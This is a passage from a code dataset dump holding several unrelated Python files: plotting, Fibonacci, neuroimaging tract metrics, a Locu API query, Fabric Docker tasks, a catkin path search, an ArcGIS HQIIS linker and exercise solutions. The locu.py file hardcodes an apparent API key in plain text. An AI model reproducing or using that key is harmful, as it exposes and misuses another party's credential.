np.cos(Xval + 6 * 0.35 * Yval) + 2 * 0.35 * np.multiply(Xval,Yval)\n plt.contour(Yval, Xval,Z,colors=plotColour)\n\n\n#X,Y = np.meshgrid(np.linspace(-1,1,100),np.linspace(-1,1,100))\n#Z = np.cos(X + 6 * 0.35 * Y) + 2 * 0.35 * np.multiply(X,Y)\n#plt.figure()\n#plt.contour(X,Y,Z, colors='black')\n\n#sizes = [2,8,50]\ncontourColours = ['red','blue','green']\n\n#part a\n#for i in range(0,3):\n# runNeuralNetwork(sizes[i], 0, contourColours[i], True, 50000, False)\n#plt.show()\n\n#part b\n#for i in range(0,3):\n# for j in range(0,3):\n# runNeuralNetwork(sizes[j],i, contourColours[j], False, 50000, False)\n# 0 = gd, 1 = momentum, 2 = rms\n#for i in range(0,3):\n# for j in range(0,3):\n# start = time.time()\n# runNeuralNetwork(sizes[j],i, contourColours[j], False, 100, False)\n# end = time.time()\n# elapsed = end - start\n# print(\"optimizer: \", i,\"\\nsize: \",sizes[j], \"\\ntime: \" ,elapsed)\n\n#part c\n# 200 epochs chosen since it takes very long to put more epochs for validation\n#for i in range(0,3):\n# runNeuralNetwork(sizes[i], 2, contourColours[i], False, 200, True)\n#rangeSizes = [1, 2, 3, 5, 7, 11, 13, 17, 19, 23, 31, 100, 1000]\n#for i in range(0,len(rangeSizes)):\n# print(rangeSizes[i])\n# runNeuralNetwork(rangeSizes[i], 2, contourColours[0], False, 5000, False)\n\n\nX,Y = np.meshgrid(np.linspace(-1,1,10),np.linspace(-1,1,10))\nZ = np.cos(X + 6 * 0.35 * Y) + 2 * 0.35 * np.multiply(X,Y)\nplt.figure()\nplt.contour(X,Y,Z, colors='black')\n\nrunNeuralNetwork(8, 2, contourColours[0], True, 5000, True)\nrunNeuralNetwork(8, 2, contourColours[1], True, 5000, False)\nplt.show()\n","sub_path":"q1c.py","file_name":"q1c.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"295692296","text":"#! /home/hda/anaconda3/bin/python\nimport sys\nimport time\n\ndef fibo(n,memo):\n if (n==0 or n==1):\n memo[n] = n\n return n\n else:\n if memo[n] != None: \n return memo[n]\n else:\n memo[n] = fibo(n-1,memo) + fibo(n-2,memo)\n return memo[n]\n\ndef main():\n n = int(sys.argv[1])\n t0 = time.time()\n memo = [None]*(n+1)\n f= fibo(n, memo)\n t1 = time.time()\n dt = t1 - t0\n print(f, dt)\n \n\nif __name__ == '__main__':\n main()\n","sub_path":"fiboMemo.py","file_name":"fiboMemo.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"235432827","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nProjects metrics onto the endpoints of streamlines. The idea is to visualize\nthe cortical areas affected by metrics (assuming streamlines start/end in\nthe cortex).\n\"\"\"\n\nimport argparse\nimport logging\nimport os\n\nimport nibabel as nib\nfrom nibabel.streamlines import ArraySequence\nimport numpy as np\n\nfrom scilpy.io.image import assert_same_resolution\nfrom scilpy.io.streamlines import load_tractogram_with_reference\nfrom scilpy.io.utils import (add_overwrite_arg,\n assert_inputs_exist,\n assert_output_dirs_exist_and_empty,\n add_reference_arg)\nfrom scilpy.utils.filenames import split_name_with_nii\nfrom scilpy.tractanalysis.streamlines_metrics import \\\n compute_tract_counts_map\nfrom scilpy.tractanalysis.uncompress import uncompress\n\n\ndef _build_arg_parser():\n p = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n p.add_argument('in_bundle',\n help='Fiber bundle file.')\n p.add_argument('metrics',\n nargs='+',\n help='Nifti metric(s) to compute statistics on.')\n p.add_argument('output_folder',\n help='Folder where to save endpoints metric.')\n\n add_reference_arg(p)\n add_overwrite_arg(p)\n return p\n\n\ndef _compute_streamline_mean(cur_ind, cur_min, cur_max, data):\n # From the precomputed indices, compute the binary map\n # and use it to weight the metric data for this specific streamline.\n cur_range = tuple(cur_max - cur_min)\n streamline_density = compute_tract_counts_map(ArraySequence([cur_ind]),\n cur_range)\n streamline_data = data[cur_min[0]:cur_max[0],\n cur_min[1]:cur_max[1],\n cur_min[2]:cur_max[2]]\n streamline_average = np.average(streamline_data,\n weights=streamline_density)\n return streamline_average\n\n\ndef _process_streamlines(streamlines):\n # Compute the bounding boxes and indices for all streamlines.\n mins = []\n maxs = []\n offset_streamlines = []\n\n # Offset the streamlines to compute the indices only in the bounding box.\n # Reduces memory use later on.\n for idx, s in enumerate(streamlines):\n mins.append(np.min(s.astype(int), 0))\n maxs.append(np.max(s.astype(int), 0) + 1)\n offset_streamlines.append((s - mins[-1]).astype(np.float32))\n\n offset_streamlines = ArraySequence(offset_streamlines)\n indices = uncompress(offset_streamlines)\n\n return mins, maxs, indices\n\n\ndef main():\n parser = _build_arg_parser()\n args = parser.parse_args()\n\n assert_inputs_exist(parser, [args.in_bundle] + args.metrics)\n assert_output_dirs_exist_and_empty(parser, args,\n args.output_folder,\n create_dir=True)\n\n assert_same_resolution(args.metrics)\n\n sft = load_tractogram_with_reference(parser, args, args.in_bundle)\n sft.to_vox()\n sft.to_corner()\n\n if len(sft.streamlines) == 0:\n logging.warning('Empty bundle file {}. Skipping'.format(args.bundle))\n return\n\n mins, maxs, indices = _process_streamlines(sft.streamlines)\n\n metrics = [nib.load(metric) for metric in args.metrics]\n for metric in metrics:\n data = metric.get_data()\n endpoint_metric_map = np.zeros(metric.shape)\n count = np.zeros(metric.shape)\n for cur_min, cur_max, cur_ind, orig_s in zip(mins, maxs,\n indices,\n sft.streamlines):\n streamline_mean = _compute_streamline_mean(cur_ind,\n cur_min,\n cur_max,\n data)\n\n xyz = orig_s[0, :].astype(int)\n endpoint_metric_map[xyz[0], xyz[1], xyz[2]] += streamline_mean\n count[xyz[0], xyz[1], xyz[2]] += 1\n\n xyz = orig_s[-1, :].astype(int)\n endpoint_metric_map[xyz[0], xyz[1], xyz[2]] += streamline_mean\n count[xyz[0], xyz[1], xyz[2]] += 1\n\n endpoint_metric_map[count != 0] /= count[count != 0]\n metric_fname, ext = split_name_with_nii(\n os.path.basename(metric.get_filename()))\n nib.save(nib.Nifti1Image(endpoint_metric_map, metric.affine,\n metric.header),\n os.path.join(args.output_folder,\n '{}_endpoints_metric{}'.format(metric_fname,\n ext)))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/scil_endpoints_metric.py","file_name":"scil_endpoints_metric.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"547576009","text":"import urllib2\nimport json\n\n\napi = '4850b2b194bae5d077e048d768aebb840a9c07f4'\n\nurl = 'https://api.locu.com/v1_0/venue/search/?'\n\n\nlocal = 'Newport Beach'\nlocality = local.replace(' ', '%20')\n\n\nnew_url = url + 'api_key=' + api + '&locality=' + locality\n\n\nobj = urllib2.urlopen(new_url)\ndata = json.load(obj)","sub_path":"src/profiles/locu.py","file_name":"locu.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"233213480","text":"\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nimport time\nfrom fabric.api import * # run,cd,env,hosts,execute,sudo,settings,hide\nfrom fabric.colors import *\nfrom fabric.contrib.console import confirm\nimport config\nimport json\nfrom fabric.tasks import Task\n\n\nclass HA():\n def __init__(self):\n self.host = \"root@{host}:{port}\"\n self.ssh = \"root@{host}:{port}\"\n self.env = env\n self.env.warn_only = True # 这样写比较痛快\n self.env.hosts = [\n self.host.format(host=host[0],port=host[2]) for host in config.conf_list]\n self.env.passwords = {\n self.ssh.format(host=host[0], port=host[2]):host[1] for host in config.conf_list}\n\n # self.env.roledefs = {\n # 'web': [self.env[\"hosts\"][0]], # role名称为:web\n # 'db': [self.env[\"hosts\"][1] ] # role名称为:db\n # }\n\n print(self.env[\"hosts\"])\n\n \n \n @task\n def get_docker_v(): # 查看docker版本\n with cd('../home'):\n run('docker version')\n\n @task\n def pull_images(images_name):\n with settings(warn_only=True):\n with cd(\"../home/\"):\n try:\n run(\"docker pull {}\".format(images_name))\n except:\n abort(\"docker pull failed\")\n\n @task\n def push_images(images_name,username_repository,tag):\n with settings(warn_only=True):\n with cd(\"../home/\"):\n try:\n run(\"docker tag {image_name} {username_repository}:{tag}\".format(images_name=images_name,username_repository=username_repository,tag=tag))\n run(\"docker push {username_repository}:{tag}\".format(username_repository=username_repository,tag=tag))\n except:\n abort(\"docker push failed\")\n\n @task\n def run_docker_images(images_name_tag):\n with settings(warn_only=True):\n with cd(\"../home/\"):\n try:\n run(\"docker run -p 4000:80 {}\".format(images_name_tag))\n except:\n abort(\"docker run failed\")\n\n\n @task\n @parallel\n def execute_docker_compose():\n with settings(warn_only=True):\n with cd(\"../home/flask_app\"):\n run(\"docker-compose up\")\n\n\n @task\n def create_docker_service(service_name,images_name,num=4):\n with settings(warn_only=True):\n with cd(\"../home/\"):\n run(\"docker service create --name {service_name} -p 4000:80 {images_name}\".format(service_name=service_name,images_name=images_name))\n run(\"docker service scale {service_name}={num}\".format(service_name=service_name,num=num))\n \n \n @task\n def stop_docker_service(service_name):\n with settings(warn_only=True):\n with cd(\"../home/\"):\n run(\"docker service rm {}\".format(service_name))\n\n def Run(self):\n # execute(self.create_docker_service,\"demo\",\"3417947630/py:hello\")\n execute(self.execute_docker_compose)\n\nh = HA()\nh.Run()\n","sub_path":"fab_docker/docker_ssh.py","file_name":"docker_ssh.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"474376416","text":"from __future__ import print_function\nimport os\nfrom catkin.workspace import get_source_paths, get_workspaces\nfrom catkin_pkg.packages import find_packages\n\n\ndef _get_valid_search_dirs(search_dirs, project):\n \"\"\"\n compares param collection of search dirs with valid names, raises ValueError if invalid.\n maintains the order of param if any. If project is given other names are allowed than without.\n\n :param search_dirs: collection of foldernames (basename) to search for\n :param project: the project to search in or None\n :raises: ValueError\n \"\"\"\n # define valid search folders\n valid_global_search_dirs = ['bin', 'etc', 'include', 'lib', 'share']\n valid_project_search_dirs = ['etc', 'include', 'libexec', 'share']\n\n valid_search_dirs = (valid_global_search_dirs\n if project is None\n else valid_project_search_dirs)\n if not search_dirs:\n search_dirs = valid_search_dirs\n else:\n # make search folders a list\n search_dirs = list(search_dirs)\n\n # determine valid search folders\n all_valid_search_dirs = set(valid_global_search_dirs).union(\n set(valid_project_search_dirs))\n\n # check folder name is known at all\n diff_dirs = set(search_dirs).difference(all_valid_search_dirs)\n if len(diff_dirs) > 0:\n raise ValueError('Unsupported search folders: ' +\n ', '.join(['\"%s\"' % i for i in diff_dirs]))\n # check foldername works with project arg\n diff_dirs = set(search_dirs).difference(valid_search_dirs)\n if len(diff_dirs) > 0:\n msg = 'Searching %s a project can not be combined with the search folders:' % ('without' if project is None else 'for')\n raise ValueError(msg + ', '.join(['\"%s\"' % i for i in diff_dirs]))\n return search_dirs\n\n\n# OUT is always a list of folders\n#\n# IN: project=None\n# OUT: foreach ws in workspaces: foreach s in search_in: cand = ws[0] + s (+ path)\n# add cand to result list if it exists\n# is not defined for s == 'libexec', bailing out\n#\n# IN: project=not None\n# OUT: foreach ws in workspaces: foreach s in search_in: cand = ws[0] + s + project (+ path)\n# except for s == 'share', cand is a list of two paths: ws[0] + s + project (+ path) and ws[1] + project (+ path)\n# add cand to result list if it exists\n# is not defined for s in ['bin', 'lib'], bailing out\ndef find_in_workspaces(search_dirs=None, project=None, path=None, _workspaces=get_workspaces(), considered_paths=None, first_matching_workspace_only=False, first_match_only=False):\n '''\n Find all paths which match the search criteria.\n All workspaces are searched in order.\n Each workspace, each search_in subfolder, the project name and the path are concatenated to define a candidate path.\n If the candidate path exists it is appended to the result list.\n Note: the search might return multiple paths for 'share' from build- and source-space.\n\n :param search_dir: The list of subfolders to search in (default contains all valid values: 'bin', 'etc', 'lib', 'libexec', 'share'), ``list``\n :param project: The project name to search for (optional, not possible with the global search_in folders 'bin' and 'lib'), ``str``\n :param path: The path, ``str``\n :param _workspaces: (optional, used for unit tests), the list of workspaces to use.\n :param considered_paths: If not None, function will append all path that were searched\n :param first_matching_workspace_only: if True returns all results found for first workspace with results\n :param first_match_only: if True returns first path found (supercedes first_matching_workspace_only)\n :raises ValueError: if search_dirs contains an invalid folder name\n :returns: List of paths\n '''\n search_dirs = _get_valid_search_dirs(search_dirs, project)\n\n paths = []\n existing_paths = []\n try:\n for workspace in (_workspaces or []):\n for sub in search_dirs:\n # search in workspace\n p = os.path.join(workspace, sub if sub != 'libexec' else 'lib')\n if project:\n p = os.path.join(p, project)\n if path:\n p = os.path.join(p, path)\n paths.append(p)\n if os.path.exists(p):\n existing_paths.append(p)\n if first_match_only:\n raise StopIteration\n\n # for search in share also consider source spaces\n if project is not None and sub == 'share':\n source_paths = get_source_paths(workspace)\n for source_path in source_paths:\n packages = find_packages(source_path)\n matching_packages = [p for p, pkg in packages.iteritems() if pkg.name == project]\n if matching_packages:\n p = os.path.join(source_path, matching_packages[0])\n if path is not None:\n p = os.path.join(p, path)\n paths.append(p)\n if os.path.exists(p):\n existing_paths.append(p)\n if first_match_only:\n raise StopIteration\n\n if first_matching_workspace_only and existing_paths:\n break\n\n except StopIteration:\n pass\n\n if considered_paths is not None:\n considered_paths.extend(paths)\n\n return existing_paths\n","sub_path":"root/ros_core_ws/build/catkin/lib.linux-armv7l-2.7/catkin/find_in_workspaces.py","file_name":"find_in_workspaces.py","file_ext":"py","file_size_in_byte":5622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"566019239","text":"\"\"\"asdf\"\"\"\n\nfrom arcpy import GetParameterAsText, ExcelToTable_conversion, AddMessage, da, AddFieldDelimiters, env, \\\n ListFeatureClasses, ListDatasets, ListFields, AddField_management, Delete_management\nfrom arcpy.da import SearchCursor, UpdateCursor\nimport sys\nimport os\nimport datetime\nfrom helper_functions.get_data_file import get_data_file\n\n# inDB = GetParameterAsText(0)\n# inHQIIS = GetParameterAsText(1)\n\ndef HQIIS_link(params):\n \"\"\"home\"\"\"\n global inDB\n global hqiis_dbf\n inDB = params[0].valueAsText\n hqiis_dbf = get_data_file(\"Data.gdb\\\\HQIIS\")\n #hqiis_dbf = os.path.split(__file__)[0] + r\"\\data\\HQIIS.dbf\"\n try:\n inside = insideFCWork()\n recordsUpdated = inside[0]\n recordsTotal = inside[1]\n AddMessage(\"Records updated: {0}\".format(recordsUpdated))\n AddMessage(\"Records in database: {0}\".format(recordsTotal))\n except Exception as e:\n AddMessage(e.message)\n\nclass Link(object):\n \"\"\"fills data from HQIIS to database\"\"\"\n\n def __init__(self, fc, hqiis):\n\n self.fc = fc\n self.fields = [f.name for f in ListFields(self.fc)]\n self.hqiis = hqiis\n self.recordsUpdated = 0\n self.reqFields = {\n # When adding a field it must be added to this list, and the rfield index's updated in inputData().\n # field: [name, type, length, alias, domain]\n 1: ['dateAcquired', 'DATE', None, 'DATEACQUIRED', None], # acquissition date\n # 2:['assetReviewDate', 'DATE', None, 'ASSETREVIEWDATE', None], ###not in HQIIS\n # 3:['material', 'TEXT', 15, 'MATERIAL', None], ###not in HQIIS\n # 4:['featureHeight', 'DOUBLE', None, 'FEATUREHEIGHT', None], ###not in HQIIS\n # 5:['featureHeightUOM', 'TEXT', 16, 'FEATUREHEIGHTUOM', 'GSIP_LengthUOM'], ###not in HQIIS\n 6: ['rpaQualityRate', 'LONG', None, 'RPAQUALITYRATE', None], # phys quality rate\n 7: ['numberOfLevels', 'TEXT', 120, 'NUMBEROFLEVELS', None], # floors above + floors below\n # 8:['primaryUOM', 'TEXT', 2, 'PRIMARYUOM', 'RPIM_UOM'], #do not take from HQIIS\n 9: ['typeCode', 'TEXT', 4, 'TYPECODE', 'RPATypeCode'], # interest type code\n 10: ['operationalStatus', 'TEXT', 17, 'OPERATIONALSTATUS', 'OperationalStatus'], # operational status code\n 11: ['placedInServiceDate', 'TEXT', 8, 'PLACEDINSERVICEDATE', None], # facility built date\n 12: ['predominantDesignUse', 'TEXT', 6, 'PREDOMINANTDESIGNUSE', 'RealPropertyFacilityCategoryCode'],\n # RPA PREDOMINANT DESIGN USE CATCODE\n 13: ['predominantDesignUseText', 'TEXT', 240, 'PREDOMINANTDESIGNUSETEXT', None],\n # RPA PREDOMINANT DESIGN USE CATCODE DESCRIPTION\n 14: ['interestType', 'TEXT', 2, 'INTERESTTYPE', None], # RPA TYPE CODE\n 15: ['facilityNumber', 'TEXT', 20, 'FACILITYNUMBER', None], # facility number\n 16: ['rpsuid', 'TEXT', None, 'RPSUID', None], # site uid\n 17: ['sdsFeatureName', 'TEXT', 80, 'SDSFEATURENAME', None], # rpa name\n 0: ['dateAcquired', 'rpaQualityRate', 'numberOfLevels', 'typeCode', 'operationalStatus',\n 'placedInServiceDate', 'predominantDesignUse', 'predominantDesignUseText', 'interestType',\n 'facilityNumber', 'rpsuid', 'sdsFeatureName'],\n 100: [\"rpuid\"]\n }\n\n def pullData(self, rpauid):\n rpa_field = AddFieldDelimiters(self.hqiis, \"RPA_UID\")\n with SearchCursor(self.hqiis, field_names=\"*\", where_clause=\"{0} = {1}\".format(rpa_field, str(rpauid))) \\\n as cursor:\n for r in cursor:\n x = []\n i = 0\n while i < 42:\n x.append(r[i])\n i += 1\n return x\n AddMessage(\"Ooops...a record has an unmatched RPA_UID in: \" + self.fc +\n \". The value is: \" + rpauid)\n x = []\n i = 0\n while i < 42:\n x.append(\"\")\n i += 1\n return x\n\n def IDPK(self):\n for field in self.fields:\n if field[-4:] == \"IDPK\":\n return [True, str(field)]\n else:\n continue\n if \"_\" in str(self.fc):\n index = 0\n for l in str(self.fc):\n if l == \"_\":\n field_name = str(self.fc)[:1].lower() + str(self.fc)[1:index] + \"IDPK\"\n break\n index += 1\n else:\n field_name = str(self.fc)[:1].lower() + str(self.fc)[1:] + \"IDPK\"\n # noinspection PyUnboundLocalVariable\n AddField_management(self.fc, field_name, \"TEXT\", field_length=20, field_alias=field_name.upper())\n return [True, field_name]\n\n def fix_duplicate_idpk(self):\n idpk_values = []\n with SearchCursor(self.fc, field_names=self.IDPK()[1]) as cursor:\n for r in cursor:\n idpk_values.append(r[0])\n rpsuids = []\n with SearchCursor(self.fc, field_names='rpsuid') as cursor:\n for row in cursor:\n rpsuids.append(row[0])\n idpk_delim = AddFieldDelimiters(self.fc, self.IDPK()[1])\n rpsuid_delim = AddFieldDelimiters(self.fc, 'rpsuid')\n for site in set(rpsuids):\n with UpdateCursor(self.fc, field_names=[self.IDPK()[1], \"rpsuid\"], where_clause=\"{0} is Null AND {1} = {2}\".format(idpk_delim, rpsuid_delim, site)) as cursor:\n index = 1\n try:\n for row in cursor:\n row[0] = str(row[1]) + \"_\" + str(index)\n index += 1\n cursor.updateRow(row)\n except Exception as e:\n AddMessage(\"No site uid's in {0}.\".format(self.fc))\n continue\n with UpdateCursor(self.fc, field_names=self.IDPK()[1], where_clause=\"{0} is Null\".format(idpk_delim)) as cursor:\n index = 1\n try:\n for row in cursor:\n row[0] = str(index)\n index += 1\n cursor.updateRow(row)\n except Exception as e:\n AddMessage(e.message)\n for idpk in set(idpk_values):\n if idpk_values.count(idpk) > 1:\n with UpdateCursor(self.fc, field_names=self.IDPK()[1], where_clause=\"{0} = '{1}'\".format(idpk_delim, str(idpk))) as cursor:\n index = 1\n for row in cursor:\n row[0] = row[0] + \"_\" + str(index)\n index += 1\n cursor.updateRow(row)\n\n def otherFields(self):\n present_fields = []\n self.pflds = ['rpuid', self.IDPK()[1]]\n self.ReqFields = []\n for rf in self.reqFields:\n if rf != 0 and rf != 100:\n if self.reqFields[rf][0] in self.fields:\n present_fields.append(True)\n self.pflds.append(self.reqFields[rf][0])\n else:\n present_fields.append(False)\n self.pflds.append(\"SHAPE@\")\n self.ReqFields.append(self.reqFields[rf][0])\n return present_fields\n # This code can be added to add required fields, without this code the tool takes the gdb schema as-is.\n # if self.reqFields[rf][0] not in self.fields:\n # AddField_management(self.fc, field_name=self.reqFields[rf][0], field_type=self.reqFields[rf][1],\n # field_length=self.reqFields[rf][2], field_alias=self.reqFields[rf][3],\n # field_domain=self.reqFields[rf][4])\n\n def excel_date_convert(self, xldate):\n try:\n date = (\n datetime.datetime(1899, 12, 30) + datetime.timedelta(days=int(xldate))\n )\n return date # .strftime('%d%m%Y')\n except:\n return datetime.datetime(1111, 11, 11) # .strftime('%d%m%Y')\n\n def error_message(self, field, row):\n return AddMessage(\"The {0} field was not populated for feature {1}. [{2}]\".format(str(field), str(row), self.fc))\n\n def inputData(self):\n # When adding a field it must be added to this list, and the rfield index's updated in inputData().\n if self.IDPK()[0]:\n rpuid_delim = AddFieldDelimiters(self.fc, 'rpuid')\n rfields = self.otherFields()\n if False in rfields:\n missing = []\n index = 0\n for f in rfields:\n if not f:\n missing.append(self.reqFields[0][index])\n index+=1\n AddMessage(\"The following fields are missing in {0}: {1}\".format(self.fc, missing))\n if \"rpuid\" not in self.fields:\n AddMessage(\"{1} field is missing from feature class: {0}\".format(self.fc,\"rpuid\"))\n return False\n\n with UpdateCursor(self.fc, field_names=self.pflds,\n where_clause=\"{0} is not Null\".format(rpuid_delim)) as cursor:\n for r in cursor:\n try:\n if r[0].isdigit():\n try:\n hData = self.pullData(r[0])\n if hData[0] == \"\":\n continue\n except Exception as e:\n AddMessage(\"Something is wrong with the HQIIS file.\")\n AddMessage(e.message)\n sys.exit()\n try:\n r[1] = str(hData[5]) + \"_\" + str(hData[9])\n except:\n self.error_message(\"IDPK\", r[0])\n try:\n if rfields[0]:\n if hData[11].isdigit():\n r[2] = self.excel_date_convert(hData[11])\n else:\n self.error_message(\"dateAcquired\", r[0])\n except Exception as e:\n AddMessage(e.message)\n self.error_message(\"dateAcquired\", r[0])\n try:\n if rfields[1]:\n if hData[37].isdigit():\n r[3] = hData[37]\n else:\n self.error_message(\"rpaQualityRate\", r[0])\n except Exception as e:\n AddMessage(e.message)\n self.error_message(\"rpaQualityRate\", r[0])\n try:\n if rfields[2]:\n if hData[35].isdigit() and hData[36].isdigit():\n r[4] = str(int(hData[35]) + int(hData[36]))\n else:\n self.error_message(\"numberOfLevels\", r[0])\n except:\n self.error_message(\"numberOfLevels\", r[0])\n try:\n if rfields[3]:\n r[5] = hData[23]\n except:\n self.error_message(\"typeCode\", r[0])\n try:\n if rfields[4]:\n r[6] = hData[19]\n except:\n self.error_message(\"operationalStatus\", r[0])\n try:\n if rfields[5]:\n if hData[10].isdigit():\n r[7] = self.excel_date_convert(hData[10]).strftime('%d%m%Y')\n else:\n self.error_message(\"placedInServiceDate\", r[0])\n except:\n self.error_message(\"placedInServiceDate\", r[0])\n try:\n if rfields[6]:\n r[8] = str(hData[27])\n except:\n self.error_message(\"predominantDesignUse\", r[0])\n try:\n if rfields[7]:\n r[9] = str(hData[28])\n except:\n self.error_message(\"predominantDesignUseText\", r[0])\n try:\n if rfields[8]:\n r[10] = str(hData[21])\n except:\n self.error_message(\"interestType\", r[0])\n try:\n if rfields[9]:\n r[11] = str(hData[9])\n except:\n self.error_message(\"facilityNumber\", r[0])\n try:\n if rfields[10]:\n r[12] = str(hData[5])\n except:\n self.error_message(\"rpsuid\", r[0])\n try:\n if rfields[11]:\n r[13] = str(hData[12])\n except:\n self.error_message(\"sdsFeatureName\", r[0])\n cursor.updateRow(r)\n self.recordsUpdated += 1\n except Exception as e:\n AddMessage(e.message)\n AddMessage(sys.exc_info()[2].tb_lineno)\n\n self.fix_duplicate_idpk()\n\n def countRecords(self):\n records = 0\n with SearchCursor(self.fc, field_names=\"OBJECTID\") as cursor:\n for r in cursor:\n records += 1\n return records\n\n\ndef rootFCWork():\n \"\"\"feature classes outside of datasets\"\"\"\n rootRecordsUpdated = 0\n rootTotalRecords = 0\n env.workspace = inDB\n rootFCs = ListFeatureClasses()\n for FC in rootFCs:\n newFeatureClass = Link(FC, hqiis_dbf)\n newFeatureClass.inputData()\n rootTotalRecords += newFeatureClass.countRecords()\n rootRecordsUpdated += newFeatureClass.recordsUpdated\n return [rootRecordsUpdated, rootTotalRecords]\n\n\ndef insideFCWork():\n \"\"\"feature classes inside datasets\"\"\"\n insideRecordsUpdated = 0\n insideTotalRecords = 0\n env.workspace = inDB\n datasets = ListDatasets(feature_type=\"Feature\")\n for dataset in datasets:\n insideFCs = ListFeatureClasses(feature_dataset=dataset)\n for FC in insideFCs:\n newFeatureClass = Link(FC, hqiis_dbf)\n newFeatureClass.inputData()\n insideTotalRecords += newFeatureClass.countRecords()\n insideRecordsUpdated += newFeatureClass.recordsUpdated\n return [insideRecordsUpdated, insideTotalRecords]\n\n\ndef makeHQIIS_DBF(excel):\n try:\n ExcelToTable_conversion(excel, os.path.split(excel)[0] + os.sep + \"HQIIS_table.dbf\")\n return \"HQIIS_table.dbf\"\n except Exception as e:\n AddMessage(\"Failed to Convert HQIIS excel file.\")\n sys.exit(AddMessage(e.message))\n\n# if __name__ == \"__main__\":\n# makeHQIIS_DBF(inHQIIS)\n# hqiis_dbf = os.path.split(inHQIIS)[0] + os.sep + \"HQIIS_table.dbf\"\n# try:\n# root = rootFCWork()\n# inside = insideFCWork()\n# recordsUpdated = root[0] + inside[0]\n# recordsTotal = root[1] + inside[1]\n# AddMessage(\"Records updated: {0}\".format(recordsUpdated))\n# AddMessage(\"Records in database: {0}\".format(recordsTotal))\n# finally:\n# Delete_management(in_data=hqiis_dbf)\n","sub_path":"USAR_add_in/Install/Data/GP_tools/HQIIS_link.py","file_name":"HQIIS_link.py","file_ext":"py","file_size_in_byte":16250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"313933917","text":"# 당근 수확\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n farm = list(map(int, input().split()))\n\n idx = 0\n minV = 1000000\n for i in range(1, N):\n left = sum(farm[:i])\n right = sum(farm[i:])\n val = left-right\n if val < 0:\n val = -val\n if val < minV:\n idx = i\n minV = val\n print(f'#{tc} {idx} {minV}')","sub_path":"191007/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"590965009","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: zhang\n@time: 2017-03-10\n\"\"\"\n\n\ndef calc(n):\n print(n)\n if n/2 > 1:\n return calc(n/2)\n\n\ndef Fibonacci(arg1, arg2, stop):\n if arg1 == 0:\n print(arg1, arg2)\n arg3 = arg1 + arg2\n print(arg3)\n if arg3 < stop:\n Fibonacci(arg2, arg3, stop)\n\nFibonacci(0,1,5000)","sub_path":"s12day4/recursive.py","file_name":"recursive.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"484597335","text":"\"\"\"\nMerge two sorted arrays and return it as a new array.\n# NOTE: YOU CAN NOT USE ANY SORTING LIBRARIES\n\"\"\"\n\n\ndef merge_two_list_helper(list1, list2):\n len1 = len(list1)\n len2 = len(list2)\n if (len1 == 0 or len2 == 0 ) == True:\n \tfinal_list = list1 + list2\n else:\n \tif list1[len1-1] <= list2[0]:\n \t\tfinal_list = list1 + list2\n \telif list2[len2-1] <= list1[0]:\n \t\tfinal_list = list2 + list1\n \telse:\n\t \tif list1[0] > list2[0]:\n\t \t\tfinal_list = [list2[0], \n\t \t\tlist1[0]] + merge_two_list_helper(list1[1:len1], list2[1:len2])\n\t \telse:\n\t \t\tfinal_list =[list1[0], \n\t \t\tlist2[0]] + merge_two_list_helper(list1[1:len1], list2[1:len2])\n return final_list\n\n\n# DO NOT CHANGE THIS FUNCTION\ndef merge_two_list(list1, list2):\n\treturn merge_two_list_helper(list1, list2)\n\n\n# test cases\ndef main():\n list1 = [1,3,5]\n list2 = [2,4,6]\n print(\"merging [1,3,5] and [2,4,6]......\")\n print(\"expected result is [1,2,3,4,5,6]\")\n print(\"your output is {}\".format(merge_two_list(list1, list2)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"problem_4/Fellow Codes Go Here/Lily_Xu.py","file_name":"Lily_Xu.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"107392369","text":"import json\nimport os\n\n# info, timelineのいずれにしかないファイルの特定\njson_info_directory = 'C:/output/game/info'\njson_info_file_names = os.listdir(json_info_directory)\n\njson_timeline_directory = 'C:/output/game/timeline'\njson_timeline_file_names = os.listdir(json_timeline_directory)\n\nset_diff = set(json_info_file_names) ^ set(json_timeline_file_names)\n\nprint(set_diff)","sub_path":"2nd - How to be bronze from iron/pre.py","file_name":"pre.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"533240364","text":"# Prompt: https://leetcode.com/problems/peak-index-in-a-mountain-array/\nclass Solution:\n def peakIndexInMountainArray(self, A: List[int]) -> int:\n peak = -1\n for i in range(1, len(A)-1):\n #check if it's bigger than A[i-1]\n if A[i] > A[i-1] and A[i] > A[i+1]:\n #check if a peak is already set\n if peak is not -1:\n return None\n else:\n peak = i\n if peak is not -1:\n return peak\n else:\n return None\n","sub_path":"0. Easy/0852. Peak Index in a Mountain 